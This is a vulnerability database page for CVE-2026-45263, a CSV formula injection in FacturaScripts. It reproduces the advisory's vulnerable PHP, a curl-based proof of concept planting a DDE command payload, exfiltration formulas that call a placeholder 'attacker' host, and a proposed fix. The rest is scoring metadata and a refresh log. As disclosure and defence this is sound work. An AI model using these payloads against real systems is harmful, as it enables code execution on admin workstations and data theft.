CVE-2026-45263

HIGHPre-NVD 8.08.0
EchelonGraph scoreMEDIUM confidence

“—” beside the score: it is equal to the CVSS score beside it.

Score 8.0 from GitHub Security Advisory (severity: HIGH) published 2026-07-14. The CNA's CVSS baseline 8.0; sources differ by 0.0.

Triggered by: GitHub Security Advisory CVSS
Sources: the CNA's CVSS, GitHub Security Advisory
8.0EG
EchelonGraph verdictPlan mitigationRemediate within your standard update timelines (the SSVC decision on this page).
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS PROB: —CVSS: 8.0Exploit: None knownExposed services: Not assessed

No fix is confirmed yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for the fix.

FacturaScripts: CSV formula injection in CSVExport allows authenticated low-priv users to plant payloads that execute when an admin opens the export

Summary

> Live PoC verified 2026-04-30 against a stock FacturaScripts master at 127.0.0.1:8081. A low-privilege user (lowpriv) created a customer with nombre = "=SUM(1+1)*cmd|/c calc!A1". An admin then exported ListCliente to CSV via ?action=export&option=CSV. The downloaded file contains the raw payload as the first cell of the nombre column, with no leading single quote and no escape. Excel and LibreOffice will execute the formula on open, including DDE invocations such as =cmd|'/c calc'!A1 that spawn arbitrary processes on the admin workstation.

Core/Lib/Export/CSVExport.php::writeData() wraps every cell in the configured delimiter (") and concatenates without inspecting the first character of the value. Spreadsheet applications interpret a cell that starts with =, +, -, @, \t, or \r as a formula. Because FacturaScripts only sanitises HTML metacharacters (< > " ') on save via Tools::noHtml() (Core/Tools.php:45), the formula prefix characters survive untouched all the way to the export. The downstream consumer is the admin who triggered the export, giving the attacker a reliable handoff: low-priv user plants a payload in any text field that ships in the default list export, admin downloads the CSV (all normal billing/sales/purchasing workflow), and the admin's spreadsheet client runs the formula in the admin's local context.

Details

the export does not neutralise leading meta-characters

Core/Lib/Export/CSVExport.php:253-267:

public function writeData(array $data, array $fields = [])
{
    if (!empty($fields)) {
        $this->writeHeader($fields);
    }

foreach ($data as $row) { $line = []; foreach ($row as $cell) { $line[] = is_string($cell) ? $this->getDelimiter() . $cell . $this->getDelimiter() : $cell; }

$this->csv[] = implode($this->separator, $line); } }

A string cell is rendered as "". There is no str_starts_with(...) check for the formula trigger characters (= + - @ \t \r per OWASP CSV-injection guidance) and no leading single-quote guard that Excel and LibreOffice both treat as "force as text". The same writer is reused for every list and document export through addListModelPage(), addModelPage(), addBusinessDocPage(), and addTablePage().

the upstream sanitiser only scrubs HTML, not formulas

Core/Tools.php:45-46:

const HTML_CHARS = ['<', '>', '"', "'"];
const HTML_REPLACEMENTS = ['&lt;', '&gt;', '&quot;', '&#39;'];

Tools::noHtml() is the canonical input filter that models call from their test() method (e.g. Cliente::test() at Core/Model/Cliente.php:319-321). It strips angle brackets and quotes, none of which collide with the formula-injection alphabet. As a result, the =, +, -, @ characters reach storage verbatim and the export pipeline emits them verbatim.

the export controller hands the payload back to whoever triggers it

Core/Lib/Export/CSVExport.php:240-245:

public function show(Response &$response)
{
    $response->headers->set('Content-Type', 'text/csv; charset=utf-8');
    $response->headers->set('Content-Disposition', 'attachment; filename=' . $this->getFileName() . '.csv');
    $response->setContent($this->getDoc());
}

Content-Disposition: attachment plus an .csv extension causes browsers to save the file. Double-clicking the downloaded file opens it in Excel/LibreOffice/Numbers, which honour formula execution by default. The attacker payload runs on the admin's machine with the admin's privileges, in a security context entirely outside the FacturaScripts blast radius.

default permission model exposes the data ingestion

A user role only needs Update/Insert access to one of the default exportable models (Cliente, Proveedor, Producto, Variante, Contacto, etc.) to plant a payload. The admin export surface is reachable on the same controllers via ?action=export&option=CSV. There is no separate confirmation step that warns the admin the export contains untrusted content.

PoC

# 0. Setup: create a low-privilege user with role granting access to ListCliente/EditCliente.

(script in advisory environment, see also the prompt's helper).

1. Log in as the low-privilege user and obtain a CSRF token.

TOKEN=$(curl -s -c /tmp/fs-low-cookie 'http://127.0.0.1:8081/login' \ | grep -oP 'name="multireqtoken" value="\K[^"]+' | head -1) curl -s -b /tmp/fs-low-cookie -c /tmp/fs-low-cookie \ --data-urlencode "fsNick=lowpriv" \ --data-urlencode "fsPassword=lowpriv1234" \ --data-urlencode "multireqtoken=$TOKEN" \ --data-urlencode "action=login" \ http://127.0.0.1:8081/login -o /dev/null

2. Get a fresh CSRF token for the EditCliente form.

TOKEN=$(curl -s -b /tmp/fs-low-cookie http://127.0.0.1:8081/EditCliente \ | grep -oP 'multireqtoken" value="\K[^"]+' | head -1)

3. Plant a Dynamic Data Exchange payload as the customer name.

curl -s -b /tmp/fs-low-cookie -X POST http://127.0.0.1:8081/EditCliente \ --data-urlencode "multireqtoken=$TOKEN" \ --data-urlencode "action=insert" \ --data-urlencode 'nombre==SUM(1+1)*cmd|/c calc!A1' \ --data-urlencode "cifnif=11111111H" \ -o /dev/null

4. As any admin, trigger the standard list-customers CSV export.

curl -s -b /tmp/fs-cookie2 \ 'http://127.0.0.1:8081/ListCliente?action=export&option=CSV' \ -o /tmp/export.csv

5. Confirm the formula payload survives unsanitised.

grep -F '=SUM(1+1)*cmd|/c calc!A1' /tmp/export.csv

Output (verified):

"11111111H";"";"1";"";...;"=SUM(1+1)*cmd|/c calc!A1";"";"";"";"=SUM(1+1)*cmd|/c calc!A1";...

Opening /tmp/export.csv in Microsoft Excel triggers the Dynamic Data Exchange dialog, which on a default-trusted document or after a single user click runs cmd /c calc. LibreOffice Calc evaluates =SUM(1+1)*cmd|/c calc!A1 and produces the same DDE attempt. The admin sees nothing in the FacturaScripts UI to indicate that a CSV row contained a formula.

Impact

* Code execution on admin workstations. The DDE/HYPERLINK payload runs in the admin's spreadsheet client outside any container, with the admin OS user's privileges. Beachhead for full host takeover. * Credential theft. Common variants (=HYPERLINK("https://attacker/?p=" & A1, "Click"), =WEBSERVICE("https://attacker/?p=" & A1)) exfiltrate adjacent cell values (customer names, fiscal IDs, balances) when the admin clicks the cell. * Trust laundering. Because the file came from "our own ERP" the admin has no reason to suspect the attachment, defeating the "do not run untrusted spreadsheets" hygiene that would otherwise apply. * Trivial preconditions. Any user role that can create or update a customer / supplier / product / contact (the bulk of accounting and sales staff) can stage the payload. The admin export action is unchanged from default and ships in the install.

AV:N (the attacker only needs an authenticated browser session), AC:L (single POST), PR:L (low-privilege role), UI:R (admin must download and open the CSV, but this is the standard accounting workflow), S:U (impact contained to FacturaScripts data + admin host), C:H I:H A:H (full read/write/execute on the admin workstation once the DDE/macro fires). Score 6.3.

Recommended Fix

Neutralise formula leaders at write time inside CSVExport::writeData() so the export pipeline itself enforces the protection regardless of upstream sanitisation.

private const FORMULA_TRIGGERS = ['=', '+', '-', '@', "\t", "\r"];

public function writeData(array $data, array $fields = []) { if (!empty($fields)) { $this->writeHeader($fields); }

foreach ($data as $row) { $line = []; foreach ($row as $cell) { if (is_string($cell) && $cell !== '' && in_array($cell[0], self::FORMULA_TRIGGERS, true)) { $cell = "'" . $cell; // force-as-text per OWASP CSV-injection prevention }

$line[] = is_string($cell) ? $this->getDelimiter() . str_replace($this->getDelimiter(), $this->getDelimiter() . $this->getDelimiter(), $cell) . $this->getDelimiter() : $cell; }

$this->csv[] = implode($this->separator, $line); } }

Apply the same neutralisation in writeHeader(), in XLSExport::getCursorRawData() (lines 226-236 - the Tools::fixHtml helper does not address formulas), and in any other future exporter that emits spreadsheet-loadable formats.

A regression test should:

  • Insert a customer with nombre = '=SUM(1+1)'.
  • Render the list to CSV via CSVExport->writeData().
  • Assert the resulting line begins with "'=SUM(1+1)", not "=SUM(1+1)".
  • Assert nombre containing an embedded delimiter (a"b) is correctly doubled to "a""b".

Defence in depth: emit Content-Type: text/csv; charset=utf-8 plus a Content-Disposition filename that the operator's MUA/browser cannot trivially confuse for a trusted XLSX (e.g. always *.csv, never *.xls or *.xlsx), and document in SECURITY.md that exports must be opened with the spreadsheet's "Import Text" / "From Text/CSV" wizard until the application is upgraded.

CVSS v3
8.0
EG Score
8.0HIGHmedium confidence
EG Risk
36
EG Risk 36/100

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed (value × EchelonGraph’s weight)
Severity80% × 45%
The EG Score, 8.0 of 10.
Exploitation0% × 40%
No KEV listing, EG-KEV tier or EPSS when EchelonGraph scored this CVE.
Automatability0% × 15%
CISA's BOD 26-04 default: no one has published Automatable for this CVE, and CISA treats it as “no” for a CVE not in KEV.
SSVC (CISA's decision table, applied by EchelonGraph): Track at low or medium mission impact; Track* at high (mission-essential systems).
Exploitation none (no CISA value, KEV listing or exploit code on record) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). EchelonGraph holds no SSVC assessment of this CVE from CISA: none of these inputs is from Vulnrichment. EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE.
Action: No fix is confirmed yet. Restrict network exposure of the affected system or apply the vendor's mitigation within your standard update timelines, and watch the vendor's advisory for the fix.
EPSS PROB
—
EPSS %ILE
—
KEV
Not listed

SSVC (CISA's decision table, applied by EchelonGraph)Track at low or medium mission impact; Track* at high (mission-essential systems).

No fix is confirmed yet. Restrict network exposure of the affected system or apply the vendor's mitigation within your standard update timelines, and watch the vendor's advisory for the fix.

Exploitation none (no CISA value, KEV listing or exploit code on record) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). EchelonGraph holds no SSVC assessment of this CVE from CISA: none of these inputs is from Vulnrichment. EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE. Mission impact is CISA's Mission & Well-being decision point, and only you can judge it. CISA's table makes it high when Mission Prevalence is Essential — the vulnerable component "directly provides capabilities that constitute at least one MEF for at least one entity" (MEF: mission essential function) — or when Public Well-Being Impact is Irreversible: "multiple fatalities are likely", the cyber-physical system "is likely lost or destroyed", "extreme or serious externalities" are imposed on other parties, or social systems such as elections or the financial grid "are destabilized and potentially collapse". CISA's decision table

BOD 26-04 (CISA's remediation timeline, Table 1)14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.

In CISA KEV no (CISA's KEV catalog) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). Where an input reads “CISA's BOD 26-04 default”, no one has published it for this CVE, and CISA's implementation guidance says: “If “Automatable” and “Technical Impact” information items about a CVE ID are not available and the CVE ID is not in the KEV Catalog, CISA will treat its values as “no” and “total,” respectively, until CISA or a third party provides metadata about the CVE ID. CISA will always provide the Vulnrichment data for a CVE ID listed in the KEV Catalog.” Whether your system is publicly exposed is yours to answer. BOD 26-04 binds US Federal Civilian Executive Branch agencies; for anyone else it is CISA's published timeline, a reference rather than an obligation. The directive · how EchelonGraph applies it

Published

July 14, 2026

Last Modified

July 14, 2026

Vendor Advisories for CVE-2026-45263(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Patch Availability(1)

Vendor / EcosystemFix (by version range) / PatchReleasedSource
composerfacturascripts/facturascripts—ghsa

Patches are aggregated from vendor advisories (Red Hat, Microsoft, Cisco, GitHub) and package ecosystems (OSV, GHSA). Multiple rows for the same upstream release have been deduplicated.

Affected Packages

(1 across 1 ecosystem)
Packagist(1)
PackageVulnerable rangeFix by version rangeDependents
facturascripts/facturascripts2018.03 ... v2026.1 (59 versions)
  • every version through 2026.1: no fix on record
—

Weakness Classification(1)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

Data Freshness Timeline

(refreshed 4× in last 7d / 10× in last 30d)

Each row is a time one of our pipelines fetched, updated or re-scored this CVE. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. An arrow marks a change the record states ("CVSS v3 → 9.1"); EPSS and GHSA rows show the values recorded at that time, not what changed (EPSS values are rounded; hover one for the exact figures). Most recent first.

  1. 2026-10-12 16:04 UTCEG score recompute
  2. 2026-10-11 19:46 UTCEG score recompute
  3. 2026-10-11 17:01 UTCEG score recompute
  4. 2026-10-11 14:26 UTCEG score recompute
  5. 2026-10-01 12:54 UTCEG score recompute
  6. 2026-10-01 12:54 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  7. 2026-09-28 08:57 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  8. 2026-09-24 09:02 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  9. 2026-09-23 03:33 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  10. 2026-09-18 04:52 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  11. 2026-09-14 11:41 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  12. 2026-09-13 23:17 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  13. 2026-09-13 07:41 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  14. 2026-09-12 13:42 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  15. 2026-09-12 01:16 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  16. 2026-09-08 01:13 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  17. 2026-09-06 13:33 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  18. 2026-09-05 21:02 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  19. 2026-08-31 05:17 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  20. 2026-08-30 16:41 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  21. 2026-08-30 04:16 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  22. 2026-08-27 21:29 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  23. 2026-08-27 02:07 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  24. 2026-08-26 13:43 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  25. 2026-08-26 01:07 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
Show 68 more
  1. 2026-08-25 08:52 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  2. 2026-08-24 19:39 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  3. 2026-08-24 05:34 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  4. 2026-08-23 17:09 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  5. 2026-08-23 04:45 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  6. 2026-08-22 16:20 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  7. 2026-08-22 03:55 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  8. 2026-08-21 15:30 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  9. 2026-08-21 03:05 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  10. 2026-08-20 14:39 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  11. 2026-08-20 00:30 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  12. 2026-08-19 11:23 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  13. 2026-08-18 22:52 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  14. 2026-08-18 10:19 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  15. 2026-08-17 21:38 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  16. 2026-08-17 09:05 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  17. 2026-08-16 20:41 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  18. 2026-08-16 08:16 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  19. 2026-08-15 19:52 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  20. 2026-08-15 07:27 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  21. 2026-08-14 17:48 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  22. 2026-08-14 05:18 UTCEG score recompute
  23. 2026-08-14 05:18 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  24. 2026-08-13 16:53 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  25. 2026-08-13 04:13 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  26. 2026-08-12 15:48 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  27. 2026-08-12 03:24 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  28. 2026-08-11 14:59 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  29. 2026-08-11 02:34 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  30. 2026-08-10 14:10 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  31. 2026-08-10 01:45 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  32. 2026-08-09 13:21 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  33. 2026-08-09 00:56 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  34. 2026-08-08 12:31 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  35. 2026-08-08 00:06 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  36. 2026-08-07 11:42 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  37. 2026-08-06 23:14 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  38. 2026-08-06 10:50 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  39. 2026-08-05 22:25 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  40. 2026-08-05 10:00 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  41. 2026-08-04 21:16 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  42. 2026-08-04 08:31 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  43. 2026-08-03 19:58 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  44. 2026-08-03 07:33 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  45. 2026-08-02 18:53 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  46. 2026-08-02 06:28 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  47. 2026-08-01 18:04 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  48. 2026-08-01 05:38 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  49. 2026-07-31 17:09 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  50. 2026-07-31 04:30 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  51. 2026-07-30 16:05 UTCEG score recompute
  52. 2026-07-30 16:05 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  53. 2026-07-30 02:47 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  54. 2026-07-29 14:21 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  55. 2026-07-29 01:54 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  56. 2026-07-28 13:26 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  57. 2026-07-28 00:57 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  58. 2026-07-27 12:33 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  59. 2026-07-27 00:09 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  60. 2026-07-26 11:43 UTCEG score recompute
  61. 2026-07-26 11:43 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  62. 2026-07-23 03:16 UTCEG score recompute
  63. 2026-07-16 19:37 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  64. 2026-07-16 07:12 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  65. 2026-07-15 18:45 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  66. 2026-07-15 06:21 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0
  67. 2026-07-14 17:56 UTCEG score recompute
  68. 2026-07-14 17:56 UTCGHSA enrichmentGHSA-2p5x-4jr6-x5jg · GitHub severity HIGH · GitHub CVSS 8.0

Frequently asked(4)

What is CVE-2026-45263?
CVE-2026-45263 is a high-severity vulnerability; its CVE record was published on July 14, 2026. FacturaScripts: CSV formula injection in CSVExport allows authenticated low-priv users to plant payloads that execute when an admin opens the export Summary Live PoC verified 2026-04-30 against a stock FacturaScripts master at 127.0.0.1:8081. A low-privilege user (lowpriv) created a customer with…
When was the CVE record for CVE-2026-45263 published?
The CVE record for CVE-2026-45263 was published on July 14, 2026. That is the record's publication date; the vulnerability itself may have been made public earlier. EchelonGraph's copy of the record carries a last-modified date of July 14, 2026; the record at its source may have been updated since.
What is the CVSS score of CVE-2026-45263?
CVE-2026-45263 has a CVSS base score of 8.0 (the CNA's own assessment, by github_m; NVD's own analysis pending).
How do I remediate CVE-2026-45263?
No fix for CVE-2026-45263 is confirmed yet. Until one is published, restrict network exposure of the affected system or apply the vendor's mitigation — for example, keep it off the internet or limit it to trusted networks — and watch the vendor's advisory for the fix. The vendor advisories EchelonGraph has for CVE-2026-45263 are linked in the Vendor Advisories panel on this page.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-45263

Explore →

Is Your Infrastructure Affected by CVE-2026-45263?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.